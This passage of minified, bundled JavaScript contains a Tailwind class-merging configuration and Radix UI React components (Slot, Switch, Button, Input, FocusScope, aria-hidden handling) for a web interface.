:ae()}],"rounded-ee":[{"rounded-ee":ae()}],"rounded-es":[{"rounded-es":ae()}],"rounded-tl":[{"rounded-tl":ae()}],"rounded-tr":[{"rounded-tr":ae()}],"rounded-br":[{"rounded-br":ae()}],"rounded-bl":[{"rounded-bl":ae()}],"border-w":[{border:se()}],"border-w-x":[{"border-x":se()}],"border-w-y":[{"border-y":se()}],"border-w-s":[{"border-s":se()}],"border-w-e":[{"border-e":se()}],"border-w-t":[{"border-t":se()}],"border-w-r":[{"border-r":se()}],"border-w-b":[{"border-b":se()}],"border-w-l":[{"border-l":se()}],"divide-x":[{"divide-x":se()}],"divide-x-reverse":["divide-x-reverse"],"divide-y":[{"divide-y":se()}],"divide-y-reverse":["divide-y-reverse"],"border-style":[{border:[...me(),"hidden","none"]}],"divide-style":[{divide:[...me(),"hidden","none"]}],"border-color":[{border:$()}],"border-color-x":[{"border-x":$()}],"border-color-y":[{"border-y":$()}],"border-color-s":[{"border-s":$()}],"border-color-e":[{"border-e":$()}],"border-color-t":[{"border-t":$()}],"border-color-r":[{"border-r":$()}],"border-color-b":[{"border-b":$()}],"border-color-l":[{"border-l":$()}],"divide-color":[{divide:$()}],"outline-style":[{outline:[...me(),"none","hidden"]}],"outline-offset":[{"outline-offset":[ke,ye,ge]}],"outline-w":[{outline:["",ke,rc,Yi]}],"outline-color":[{outline:$()}],shadow:[{shadow:["","none",p,Bf,$f]}],"shadow-color":[{shadow:$()}],"inset-shadow":[{"inset-shadow":["none",m,Bf,$f]}],"inset-shadow-color":[{"inset-shadow":$()}],"ring-w":[{ring:se()}],"ring-w-inset":["ring-inset"],"ring-color":[{ring:$()}],"ring-offset-w":[{"ring-offset":[ke,Yi]}],"ring-offset-color":[{"ring-offset":$()}],"inset-ring-w":[{"inset-ring":se()}],"inset-ring-color":[{"inset-ring":$()}],"text-shadow":[{"text-shadow":["none",y,Bf,$f]}],"text-shadow-color":[{"text-shadow":$()}],opacity:[{opacity:[ke,ye,ge]}],"mix-blend":[{"mix-blend":[...xe(),"plus-darker","plus-lighter"]}],"bg-blend":[{"bg-blend":xe()}],"mask-clip":[{"mask-clip":["border","padding","content","fill","stroke","view"]},"mask-no-clip"],"mask-composite":[{mask:["add","subtract","intersect","exclude"]}],"mask-image-linear-pos":[{"mask-linear":[ke]}],"mask-image-linear-from-pos":[{"mask-linear-from":ee()}],"mask-image-linear-to-pos":[{"mask-linear-to":ee()}],"mask-image-linear-from-color":[{"mask-linear-from":$()}],"mask-image-linear-to-color":[{"mask-linear-to":$()}],"mask-image-t-from-pos":[{"mask-t-from":ee()}],"mask-image-t-to-pos":[{"mask-t-to":ee()}],"mask-image-t-from-color":[{"mask-t-from":$()}],"mask-image-t-to-color":[{"mask-t-to":$()}],"mask-image-r-from-pos":[{"mask-r-from":ee()}],"mask-image-r-to-pos":[{"mask-r-to":ee()}],"mask-image-r-from-color":[{"mask-r-from":$()}],"mask-image-r-to-color":[{"mask-r-to":$()}],"mask-image-b-from-pos":[{"mask-b-from":ee()}],"mask-image-b-to-pos":[{"mask-b-to":ee()}],"mask-image-b-from-color":[{"mask-b-from":$()}],"mask-image-b-to-color":[{"mask-b-to":$()}],"mask-image-l-from-pos":[{"mask-l-from":ee()}],"mask-image-l-to-pos":[{"mask-l-to":ee()}],"mask-image-l-from-color":[{"mask-l-from":$()}],"mask-image-l-to-color":[{"mask-l-to":$()}],"mask-image-x-from-pos":[{"mask-x-from":ee()}],"mask-image-x-to-pos":[{"mask-x-to":ee()}],"mask-image-x-from-color":[{"mask-x-from":$()}],"mask-image-x-to-color":[{"mask-x-to":$()}],"mask-image-y-from-pos":[{"mask-y-from":ee()}],"mask-image-y-to-pos":[{"mask-y-to":ee()}],"mask-image-y-from-color":[{"mask-y-from":$()}],"mask-image-y-to-color":[{"mask-y-to":$()}],"mask-image-radial":[{"mask-radial":[ye,ge]}],"mask-image-radial-from-pos":[{"mask-radial-from":ee()}],"mask-image-radial-to-pos":[{"mask-radial-to":ee()}],"mask-image-radial-from-color":[{"mask-radial-from":$()}],"mask-image-radial-to-color":[{"mask-radial-to":$()}],"mask-image-radial-shape":[{"mask-radial":["circle","ellipse"]}],"mask-image-radial-size":[{"mask-radial":[{closest:["side","corner"],farthest:["side","corner"]}]}],"mask-image-radial-pos":[{"mask-radial-at":j()}],"mask-image-conic-pos":[{"mask-conic":[ke]}],"mask-image-conic-from-pos":[{"mask-conic-from":ee()}],"mask-image-conic-to-pos":[{"mask-conic-to":ee()}],"mask-image-conic-from-color":[{"mask-conic-from":$()}],"mask-image-conic-to-color":[{"mask-conic-to":$()}],"mask-mode":[{mask:["alpha","luminance","match"]}],"mask-origin":[{"mask-origin":["border","padding","content","fill","stroke","view"]}],"mask-position":[{mask:Z()}],"mask-repeat":[{mask:de()}],"mask-size":[{mask:D()}],"mask-type":[{"mask-type":["alpha","luminance"]}],"mask-image":[{mask:["none",ye,ge]}],filter:[{filter:["","none",ye,ge]}],blur:[{blur:_e()}],brightness:[{brightness:[ke,ye,ge]}],contrast:[{contrast:[ke,ye,ge]}],"drop-shadow":[{"drop-shadow":["","none",x,Bf,$f]}],"drop-shadow-color":[{"drop-shadow":$()}],grayscale:[{grayscale:["",ke,ye,ge]}],"hue-rotate":[{"hue-rotate":[ke,ye,ge]}],invert:[{invert:["",ke,ye,ge]}],saturate:[{saturate:[ke,ye,ge]}],sepia:[{sepia:["",ke,ye,ge]}],"backdrop-filter":[{"backdrop-filter":["","none",ye,ge]}],"backdrop-blur":[{"backdrop-blur":_e()}],"backdrop-brightness":[{"backdrop-brightness":[ke,ye,ge]}],"backdrop-contrast":[{"backdrop-contrast":[ke,ye,ge]}],"backdrop-grayscale":[{"backdrop-grayscale":["",ke,ye,ge]}],"backdrop-hue-rotate":[{"backdrop-hue-rotate":[ke,ye,ge]}],"backdrop-invert":[{"backdrop-invert":["",ke,ye,ge]}],"backdrop-opacity":[{"backdrop-opacity":[ke,ye,ge]}],"backdrop-saturate":[{"backdrop-saturate":[ke,ye,ge]}],"backdrop-sepia":[{"backdrop-sepia":["",ke,ye,ge]}],"border-collapse":[{border:["collapse","separate"]}],"border-spacing":[{"border-spacing":I()}],"border-spacing-x":[{"border-spacing-x":I()}],"border-spacing-y":[{"border-spacing-y":I()}],"table-layout":[{table:["auto","fixed"]}],caption:[{caption:["top","bottom"]}],transition:[{transition:["","all","colors","opacity","shadow","transform","none",ye,ge]}],"transition-behavior":[{transition:["normal","discrete"]}],duration:[{duration:[ke,"initial",ye,ge]}],ease:[{ease:["linear","initial",A,ye,ge]}],delay:[{delay:[ke,ye,ge]}],animate:[{animate:["none",_,ye,ge]}],backface:[{backface:["hidden","visible"]}],perspective:[{perspective:[w,ye,ge]}],"perspective-origin":[{"perspective-origin":M()}],rotate:[{rotate:Q()}],"rotate-x":[{"rotate-x":Q()}],"rotate-y":[{"rotate-y":Q()}],"rotate-z":[{"rotate-z":Q()}],scale:[{scale:fe()}],"scale-x":[{"scale-x":fe()}],"scale-y":[{"scale-y":fe()}],"scale-z":[{"scale-z":fe()}],"scale-3d":["scale-3d"],skew:[{skew:he()}],"skew-x":[{"skew-x":he()}],"skew-y":[{"skew-y":he()}],transform:[{transform:[ye,ge,"","none","gpu","cpu"]}],"transform-origin":[{origin:M()}],"transform-style":[{transform:["3d","flat"]}],translate:[{translate:ne()}],"translate-x":[{"translate-x":ne()}],"translate-y":[{"translate-y":ne()}],"translate-z":[{"translate-z":ne()}],"translate-none":["translate-none"],accent:[{accent:$()}],appearance:[{appearance:["none","auto"]}],"caret-color":[{caret:$()}],"color-scheme":[{scheme:["normal","dark","light","light-dark","only-dark","only-light"]}],cursor:[{cursor:["auto","default","pointer","wait","text","move","help","not-allowed","none","context-menu","progress","cell","crosshair","vertical-text","alias","copy","no-drop","grab","grabbing","all-scroll","col-resize","row-resize","n-resize","e-resize","s-resize","w-resize","ne-resize","nw-resize","se-resize","sw-resize","ew-resize","ns-resize","nesw-resize","nwse-resize","zoom-in","zoom-out",ye,ge]}],"field-sizing":[{"field-sizing":["fixed","content"]}],"pointer-events":[{"pointer-events":["auto","none"]}],resize:[{resize:["none","","y","x"]}],"scroll-behavior":[{scroll:["auto","smooth"]}],"scroll-m":[{"scroll-m":I()}],"scroll-mx":[{"scroll-mx":I()}],"scroll-my":[{"scroll-my":I()}],"scroll-ms":[{"scroll-ms":I()}],"scroll-me":[{"scroll-me":I()}],"scroll-mt":[{"scroll-mt":I()}],"scroll-mr":[{"scroll-mr":I()}],"scroll-mb":[{"scroll-mb":I()}],"scroll-ml":[{"scroll-ml":I()}],"scroll-p":[{"scroll-p":I()}],"scroll-px":[{"scroll-px":I()}],"scroll-py":[{"scroll-py":I()}],"scroll-ps":[{"scroll-ps":I()}],"scroll-pe":[{"scroll-pe":I()}],"scroll-pt":[{"scroll-pt":I()}],"scroll-pr":[{"scroll-pr":I()}],"scroll-pb":[{"scroll-pb":I()}],"scroll-pl":[{"scroll-pl":I()}],"snap-align":[{snap:["start","end","center","align-none"]}],"snap-stop":[{snap:["normal","always"]}],"snap-type":[{snap:["none","x","y","both"]}],"snap-strictness":[{snap:["mandatory","proximity"]}],touch:[{touch:["auto","none","manipulation"]}],"touch-x":[{"touch-pan":["x","left","right"]}],"touch-y":[{"touch-pan":["y","up","down"]}],"touch-pz":["touch-pinch-zoom"],select:[{select:["none","text","all","auto"]}],"will-change":[{"will-change":["auto","scroll","contents","transform",ye,ge]}],fill:[{fill:["none",...$()]}],"stroke-w":[{stroke:[ke,rc,Yi,bg]}],stroke:[{stroke:["none",...$()]}],"forced-color-adjust":[{"forced-color-adjust":["auto","none"]}]},conflictingClassGroups:{overflow:["overflow-x","overflow-y"],overscroll:["overscroll-x","overscroll-y"],inset:["inset-x","inset-y","start","end","top","right","bottom","left"],"inset-x":["right","left"],"inset-y":["top","bottom"],flex:["basis","grow","shrink"],gap:["gap-x","gap-y"],p:["px","py","ps","pe","pt","pr","pb","pl"],px:["pr","pl"],py:["pt","pb"],m:["mx","my","ms","me","mt","mr","mb","ml"],mx:["mr","ml"],my:["mt","mb"],size:["w","h"],"font-size":["leading"],"fvn-normal":["fvn-ordinal","fvn-slashed-zero","fvn-figure","fvn-spacing","fvn-fraction"],"fvn-ordinal":["fvn-normal"],"fvn-slashed-zero":["fvn-normal"],"fvn-figure":["fvn-normal"],"fvn-spacing":["fvn-normal"],"fvn-fraction":["fvn-normal"],"line-clamp":["display","overflow"],rounded:["rounded-s","rounded-e","rounded-t","rounded-r","rounded-b","rounded-l","rounded-ss","rounded-se","rounded-ee","rounded-es","rounded-tl","rounded-tr","rounded-br","rounded-bl"],"rounded-s":["rounded-ss","rounded-es"],"rounded-e":["rounded-se","rounded-ee"],"rounded-t":["rounded-tl","rounded-tr"],"rounded-r":["rounded-tr","rounded-br"],"rounded-b":["rounded-br","rounded-bl"],"rounded-l":["rounded-tl","rounded-bl"],"border-spacing":["border-spacing-x","border-spacing-y"],"border-w":["border-w-x","border-w-y","border-w-s","border-w-e","border-w-t","border-w-r","border-w-b","border-w-l"],"border-w-x":["border-w-r","border-w-l"],"border-w-y":["border-w-t","border-w-b"],"border-color":["border-color-x","border-color-y","border-color-s","border-color-e","border-color-t","border-color-r","border-color-b","border-color-l"],"border-color-x":["border-color-r","border-color-l"],"border-color-y":["border-color-t","border-color-b"],translate:["translate-x","translate-y","translate-none"],"translate-none":["translate","translate-x","translate-y","translate-z"],"scroll-m":["scroll-mx","scroll-my","scroll-ms","scroll-me","scroll-mt","scroll-mr","scroll-mb","scroll-ml"],"scroll-mx":["scroll-mr","scroll-ml"],"scroll-my":["scroll-mt","scroll-mb"],"scroll-p":["scroll-px","scroll-py","scroll-ps","scroll-pe","scroll-pt","scroll-pr","scroll-pb","scroll-pl"],"scroll-px":["scroll-pr","scroll-pl"],"scroll-py":["scroll-pt","scroll-pb"],touch:["touch-x","touch-y","touch-pz"],"touch-x":["touch"],"touch-y":["touch"],"touch-pz":["touch"]},conflictingClassGroupModifiers:{"font-size":["leading"]},orderSensitiveModifiers:["*","**","after","backdrop","before","details-content","file","first-letter","first-line","marker","placeholder","selection"]}},HH=wH(UH);function Ee(...e){return HH(Ye(e))}const xj=ZU,qH=QU,FH=JU,wj=v.forwardRef(({className:e,sideOffset:t=4,...n},r)=>E.jsx(eH,{children:E.jsx(oj,{ref:r,sideOffset:t,className:Ee("z-50 overflow-hidden rounded-md border bg-popover px-3 py-1.5 text-sm text-popover-foreground shadow-md animate-in fade-in-0 zoom-in-95 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",e),...n})}));wj.displayName=oj.displayName;var VH=Symbol.for("react.lazy"),Cd=Eh[" use ".trim().toString()];function KH(e){return typeof e=="object"&&e!==null&&"then"in e}function Sj(e){return e!=null&&typeof e=="object"&&"$$typeof"in e&&e.$$typeof===VH&&"_payload"in e&&KH(e._payload)}function Rh(e){const t=GH(e),n=v.forwardRef((r,i)=>{let{children:l,...c}=r;Sj(l)&&typeof Cd=="function"&&(l=Cd(l._payload));const u=v.Children.toArray(l),f=u.find(XH);if(f){const h=f.props.children,p=u.map(m=>m===f?v.Children.count(h)>1?v.Children.only(null):v.isValidElement(h)?h.props.children:null:m);return E.jsx(t,{...c,ref:i,children:v.isValidElement(h)?v.cloneElement(h,void 0,p):null})}return E.jsx(t,{...c,ref:i,children:l})});return n.displayName=`${e}.Slot`,n}var YH=Rh("Slot");function GH(e){const t=v.forwardRef((n,r)=>{let{children:i,...l}=n;if(Sj(i)&&typeof Cd=="function"&&(i=Cd(i._payload)),v.isValidElement(i)){const c=QH(i),u=ZH(l,i.props);return i.type!==v.Fragment&&(u.ref=r?ja(r,c):c),v.cloneElement(i,u)}return v.Children.count(i)>1?v.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var WH=Symbol("radix.slottable");function XH(e){return v.isValidElement(e)&&typeof e.type=="function"&&"__radixId"in e.type&&e.type.__radixId===WH}function ZH(e,t){const n={...t};for(const r in t){const i=e[r],l=t[r];/^on[A-Z]/.test(r)?i&&l?n[r]=(...u)=>{const f=l(...u);return i(...u),f}:i&&(n[r]=i):r==="style"?n[r]={...i,...l}:r==="className"&&(n[r]=[i,l].filter(Boolean).join(" "))}return{...e,...n}}function QH(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}const lC=e=>typeof e=="boolean"?`${e}`:e===0?"0":e,sC=Ye,Dh=(e,t)=>n=>{var r;if(t?.variants==null)return sC(e,n?.class,n?.className);const{variants:i,defaultVariants:l}=t,c=Object.keys(i).map(h=>{const p=n?.[h],m=l?.[h];if(p===null)return null;const y=lC(p)||lC(m);return i[h][y]}),u=n&&Object.entries(n).reduce((h,p)=>{let[m,y]=p;return y===void 0||(h[m]=y),h},{}),f=t==null||(r=t.compoundVariants)===null||r===void 0?void 0:r.reduce((h,p)=>{let{class:m,className:y,...x}=p;return Object.entries(x).every(S=>{let[w,O]=S;return Array.isArray(O)?O.includes({...l,...u}[w]):{...l,...u}[w]===O})?[...h,m,y]:h},[]);return sC(e,c,f,n?.class,n?.className)},Vb=Dh("inline-flex items-center justify-center whitespace-nowrap rounded-md text-sm font-medium ring-offset-background transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50",{variants:{variant:{default:"bg-primary text-primary-foreground hover:bg-primary/90",destructive:"bg-destructive text-destructive-foreground hover:bg-destructive/90",outline:"border border-input bg-background hover:bg-accent hover:text-accent-foreground",secondary:"bg-secondary text-secondary-foreground hover:bg-secondary/80",ghost:"hover:bg-accent hover:text-accent-foreground",link:"text-primary underline-offset-4 hover:underline"},size:{default:"h-10 px-4 py-2",sm:"h-9 rounded-md px-3",lg:"h-11 rounded-md px-8",icon:"h-10 w-10"}},defaultVariants:{variant:"default",size:"default"}}),or=v.forwardRef(({className:e,variant:t,size:n,asChild:r=!1,...i},l)=>{const c=r?YH:"button";return E.jsx(c,{className:Ee(Vb({variant:t,size:n,className:e})),ref:l,...i})});or.displayName="Button";const Rr=v.forwardRef(({className:e,type:t,...n},r)=>E.jsx("input",{type:t,className:Ee("flex h-10 w-full rounded-md border border-input bg-background px-3 py-2 text-sm ring-offset-background file:border-0 file:bg-transparent file:text-sm file:font-medium placeholder:text-muted-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50",e),ref:r,...n}));Rr.displayName="Input";function Oj(e){const t=v.useRef({value:e,previous:e});return v.useMemo(()=>(t.current.value!==e&&(t.current.previous=t.current.value,t.current.value=e),t.current.previous),[e])}var kh="Switch",[JH]=Fn(kh),[e9,t9]=JH(kh),Ej=v.forwardRef((e,t)=>{const{__scopeSwitch:n,name:r,checked:i,defaultChecked:l,required:c,disabled:u,value:f="on",onCheckedChange:h,form:p,...m}=e,[y,x]=v.useState(null),S=De(t,T=>x(T)),w=v.useRef(!1),O=y?p||!!y.closest("form"):!0,[A,_]=Oa({prop:i,defaultProp:l??!1,onChange:h,caller:kh});return E.jsxs(e9,{scope:n,checked:A,disabled:u,children:[E.jsx(Ce.button,{type:"button",role:"switch","aria-checked":A,"aria-required":c,"data-state":Tj(A),"data-disabled":u?"":void 0,disabled:u,value:f,...m,ref:S,onClick:ue(e.onClick,T=>{_(j=>!j),O&&(w.current=T.isPropagationStopped(),w.current||T.stopPropagation())})}),O&&E.jsx(_j,{control:y,bubbles:!w.current,name:r,value:f,checked:A,required:c,disabled:u,form:p,style:{transform:"translateX(-100%)"}})]})});Ej.displayName=kh;var Aj="SwitchThumb",Cj=v.forwardRef((e,t)=>{const{__scopeSwitch:n,...r}=e,i=t9(Aj,n);return E.jsx(Ce.span,{"data-state":Tj(i.checked),"data-disabled":i.disabled?"":void 0,...r,ref:t})});Cj.displayName=Aj;var n9="SwitchBubbleInput",_j=v.forwardRef(({__scopeSwitch:e,control:t,checked:n,bubbles:r=!0,...i},l)=>{const c=v.useRef(null),u=De(c,l),f=Oj(n),h=BM(t);return v.useEffect(()=>{const p=c.current;if(!p)return;const m=window.HTMLInputElement.prototype,x=Object.getOwnPropertyDescriptor(m,"checked").set;if(f!==n&&x){const S=new Event("click",{bubbles:r});x.call(p,n),p.dispatchEvent(S)}},[f,n,r]),E.jsx("input",{type:"checkbox","aria-hidden":!0,defaultChecked:n,...i,tabIndex:-1,ref:u,style:{...i.style,...h,position:"absolute",pointerEvents:"none",opacity:0,margin:0}})});_j.displayName=n9;function Tj(e){return e?"checked":"unchecked"}var Nj=Ej,r9=Cj;const cd=v.forwardRef(({className:e,...t},n)=>E.jsx(Nj,{className:Ee("peer inline-flex h-6 w-11 shrink-0 cursor-pointer items-center rounded-full border-2 border-transparent transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 focus-visible:ring-offset-background disabled:cursor-not-allowed disabled:opacity-50 data-[state=checked]:bg-primary data-[state=unchecked]:bg-input",e),...t,ref:n,children:E.jsx(r9,{className:Ee("pointer-events-none block h-5 w-5 rounded-full bg-background shadow-lg ring-0 transition-transform data-[state=checked]:translate-x-5 data-[state=unchecked]:translate-x-0")})}));cd.displayName=Nj.displayName;function g0(e,[t,n]){return Math.min(n,Math.max(t,e))}function cC(e){const t=a9(e),n=v.forwardRef((r,i)=>{const{children:l,...c}=r,u=v.Children.toArray(l),f=u.find(o9);if(f){const h=f.props.children,p=u.map(m=>m===f?v.Children.count(h)>1?v.Children.only(null):v.isValidElement(h)?h.props.children:null:m);return E.jsx(t,{...c,ref:i,children:v.isValidElement(h)?v.cloneElement(h,void 0,p):null})}return E.jsx(t,{...c,ref:i,children:l})});return n.displayName=`${e}.Slot`,n}function a9(e){const t=v.forwardRef((n,r)=>{const{children:i,...l}=n;if(v.isValidElement(i)){const c=s9(i),u=l9(l,i.props);return i.type!==v.Fragment&&(u.ref=r?ja(r,c):c),v.cloneElement(i,u)}return v.Children.count(i)>1?v.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var i9=Symbol("radix.slottable");function o9(e){return v.isValidElement(e)&&typeof e.type=="function"&&"__radixId"in e.type&&e.type.__radixId===i9}function l9(e,t){const n={...t};for(const r in t){const i=e[r],l=t[r];/^on[A-Z]/.test(r)?i&&l?n[r]=(...u)=>{const f=l(...u);return i(...u),f}:i&&(n[r]=i):r==="style"?n[r]={...i,...l}:r==="className"&&(n[r]=[i,l].filter(Boolean).join(" "))}return{...e,...n}}function s9(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}function Kb(e){const t=e+"CollectionProvider",[n,r]=Fn(t),[i,l]=n(t,{collectionRef:{current:null},itemMap:new Map}),c=w=>{const{scope:O,children:A}=w,_=hi.useRef(null),T=hi.useRef(new Map).current;return E.jsx(i,{scope:O,itemMap:T,collectionRef:_,children:A})};c.displayName=t;const u=e+"CollectionSlot",f=cC(u),h=hi.forwardRef((w,O)=>{const{scope:A,children:_}=w,T=l(u,A),j=De(O,T.collectionRef);return E.jsx(f,{ref:j,children:_})});h.displayName=u;const p=e+"CollectionItemSlot",m="data-radix-collection-item",y=cC(p),x=hi.forwardRef((w,O)=>{const{scope:A,children:_,...T}=w,j=hi.useRef(null),M=De(O,j),P=l(p,A);return hi.useEffect(()=>(P.itemMap.set(j,{ref:j,...T}),()=>{P.itemMap.delete(j)})),E.jsx(y,{[m]:"",ref:M,children:_})});x.displayName=p;function S(w){const O=l(e+"CollectionConsumer",w);return hi.useCallback(()=>{const _=O.collectionRef.current;if(!_)return[];const T=Array.from(_.querySelectorAll(`[${m}]`));return Array.from(O.itemMap.values()).sort((P,R)=>T.indexOf(P.ref.current)-T.indexOf(R.ref.current))},[O.collectionRef,O.itemMap])}return[{Provider:c,Slot:h,ItemSlot:x},S,r]}var c9=v.createContext(void 0);function Kc(e){const t=v.useContext(c9);return e||t||"ltr"}var xg=0;function Yb(){v.useEffect(()=>{const e=document.querySelectorAll("[data-radix-focus-guard]");return document.body.insertAdjacentElement("afterbegin",e[0]??uC()),document.body.insertAdjacentElement("beforeend",e[1]??uC()),xg++,()=>{xg===1&&document.querySelectorAll("[data-radix-focus-guard]").forEach(t=>t.remove()),xg--}},[])}function uC(){const e=document.createElement("span");return e.setAttribute("data-radix-focus-guard",""),e.tabIndex=0,e.style.outline="none",e.style.opacity="0",e.style.position="fixed",e.style.pointerEvents="none",e}var wg="focusScope.autoFocusOnMount",Sg="focusScope.autoFocusOnUnmount",fC={bubbles:!1,cancelable:!0},u9="FocusScope",Lh=v.forwardRef((e,t)=>{const{loop:n=!1,trapped:r=!1,onMountAutoFocus:i,onUnmountAutoFocus:l,...c}=e,[u,f]=v.useState(null),h=en(i),p=en(l),m=v.useRef(null),y=De(t,w=>f(w)),x=v.useRef({paused:!1,pause(){this.paused=!0},resume(){this.paused=!1}}).current;v.useEffect(()=>{if(r){let w=function(T){if(x.paused||!u)return;const j=T.target;u.contains(j)?m.current=j:pi(m.current,{select:!0})},O=function(T){if(x.paused||!u)return;const j=T.relatedTarget;j!==null&&(u.contains(j)||pi(m.current,{select:!0}))},A=function(T){if(document.activeElement===document.body)for(const M of T)M.removedNodes.length>0&&pi(u)};document.addEventListener("focusin",w),document.addEventListener("focusout",O);const _=new MutationObserver(A);return u&&_.observe(u,{childList:!0,subtree:!0}),()=>{document.removeEventListener("focusin",w),document.removeEventListener("focusout",O),_.disconnect()}}},[r,u,x.paused]),v.useEffect(()=>{if(u){hC.add(x);const w=document.activeElement;if(!u.contains(w)){const A=new CustomEvent(wg,fC);u.addEventListener(wg,h),u.dispatchEvent(A),A.defaultPrevented||(f9(v9(Mj(u)),{select:!0}),document.activeElement===w&&pi(u))}return()=>{u.removeEventListener(wg,h),setTimeout(()=>{const A=new CustomEvent(Sg,fC);u.addEventListener(Sg,p),u.dispatchEvent(A),A.defaultPrevented||pi(w??document.body,{select:!0}),u.removeEventListener(Sg,p),hC.remove(x)},0)}}},[u,h,p,x]);const S=v.useCallback(w=>{if(!n&&!r||x.paused)return;const O=w.key==="Tab"&&!w.altKey&&!w.ctrlKey&&!w.metaKey,A=document.activeElement;if(O&&A){const _=w.currentTarget,[T,j]=d9(_);T&&j?!w.shiftKey&&A===j?(w.preventDefault(),n&&pi(T,{select:!0})):w.shiftKey&&A===T&&(w.preventDefault(),n&&pi(j,{select:!0})):A===_&&w.preventDefault()}},[n,r,x.paused]);return E.jsx(Ce.div,{tabIndex:-1,...c,ref:y,onKeyDown:S})});Lh.displayName=u9;function f9(e,{select:t=!1}={}){const n=document.activeElement;for(const r of e)if(pi(r,{select:t}),document.activeElement!==n)return}function d9(e){const t=Mj(e),n=dC(t,e),r=dC(t.reverse(),e);return[n,r]}function Mj(e){const t=[],n=document.createTreeWalker(e,NodeFilter.SHOW_ELEMENT,{acceptNode:r=>{const i=r.tagName==="INPUT"&&r.type==="hidden";return r.disabled||r.hidden||i?NodeFilter.FILTER_SKIP:r.tabIndex>=0?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}});for(;n.nextNode();)t.push(n.currentNode);return t}function dC(e,t){for(const n of e)if(!h9(n,{upTo:t}))return n}function h9(e,{upTo:t}){if(getComputedStyle(e).visibility==="hidden")return!0;for(;e;){if(t!==void 0&&e===t)return!1;if(getComputedStyle(e).display==="none")return!0;e=e.parentElement}return!1}function p9(e){return e instanceof HTMLInputElement&&"select"in e}function pi(e,{select:t=!1}={}){if(e&&e.focus){const n=document.activeElement;e.focus({preventScroll:!0}),e!==n&&p9(e)&&t&&e.select()}}var hC=m9();function m9(){let e=[];return{add(t){const n=e[0];t!==n&&n?.pause(),e=pC(e,t),e.unshift(t)},remove(t){e=pC(e,t),e[0]?.resume()}}}function pC(e,t){const n=[...e],r=n.indexOf(t);return r!==-1&&n.splice(r,1),n}function v9(e){return e.filter(t=>t.tagName!=="A")}function g9(e){const t=y9(e),n=v.forwardRef((r,i)=>{const{children:l,...c}=r,u=v.Children.toArray(l),f=u.find(x9);if(f){const h=f.props.children,p=u.map(m=>m===f?v.Children.count(h)>1?v.Children.only(null):v.isValidElement(h)?h.props.children:null:m);return E.jsx(t,{...c,ref:i,children:v.isValidElement(h)?v.cloneElement(h,void 0,p):null})}return E.jsx(t,{...c,ref:i,children:l})});return n.displayName=`${e}.Slot`,n}function y9(e){const t=v.forwardRef((n,r)=>{const{children:i,...l}=n;if(v.isValidElement(i)){const c=S9(i),u=w9(l,i.props);return i.type!==v.Fragment&&(u.ref=r?ja(r,c):c),v.cloneElement(i,u)}return v.Children.count(i)>1?v.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var b9=Symbol("radix.slottable");function x9(e){return v.isValidElement(e)&&typeof e.type=="function"&&"__radixId"in e.type&&e.type.__radixId===b9}function w9(e,t){const n={...t};for(const r in t){const i=e[r],l=t[r];/^on[A-Z]/.test(r)?i&&l?n[r]=(...u)=>{const f=l(...u);return i(...u),f}:i&&(n[r]=i):r==="style"?n[r]={...i,...l}:r==="className"&&(n[r]=[i,l].filter(Boolean).join(" "))}return{...e,...n}}function S9(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}var O9=function(e){if(typeof document>"u")return null;var t=Array.isArray(e)?e[0]:e;return t.ownerDocument.body},vl=new WeakMap,Uf=new WeakMap,Hf={},Og=0,jj=function(e){return e&&(e.host||jj(e.parentNode))},E9=function(e,t){return t.map(function(n){if(e.contains(n))return n;var r=jj(n);return r&&e.contains(r)?r:(console.error("aria-hidden",n,"in not contained inside",e,". Doing nothing"),null)}).filter(function(n){return!!n})},A9=function(e,t,n,r){var i=E9(t,Array.isArray(e)?e:[e]);Hf[n]||(Hf[n]=new WeakMap);var l=Hf[n],c=[],u=new Set,f=new Set(i),h=function(m){!m||u.has(m)||(u.add(m),h(m.parentNode))};i.forEach(h);var p=function(m){!m||f.has(m)||Array.prototype.forEach.call(m.children,function(y){if(u.has(y))p(y);else try{var x=y.getAttribute(r),S=x!==null&&x!=="false",w=(vl.get(y)||0)+1,O=(l.get(y)||0)+1;vl.set(y,w),l.set(y,O),c.push(y),w===1&&S&&Uf.set(y,!0),O===1&&y.setAttribute(n,"true"),S||y.setAttribute(r,"true")}catch(A){console.error("aria-hidden: cannot operate on ",y,A)}})};return p(t),u.clear(),Og++,function(){c.forEach(function(m){var y=vl.get(m)-1,x=l.get(m)-1;vl.set(m,y),l.set(m,x),y||(Uf.has(m)||m.removeAttribute(r),Uf.delete(m)),x||m.removeAttribute(n)}),Og--,Og||(vl=new WeakMap,vl=new WeakMap,Uf=new WeakMap,Hf={})}},Gb=function(e,t,n){n===void 0&&(n="data-aria-hidden");var r=Array.from(Array.isArray(e)?e:[e]),i=O9(e);return i?(r.push.apply(r,Array.from(i.querySelectorAll("[aria-live], script"))),A9(r,i,n,"aria-hidden")):function(){return null}},Dr=function(){return Dr=Object.assign||function(t){for(var 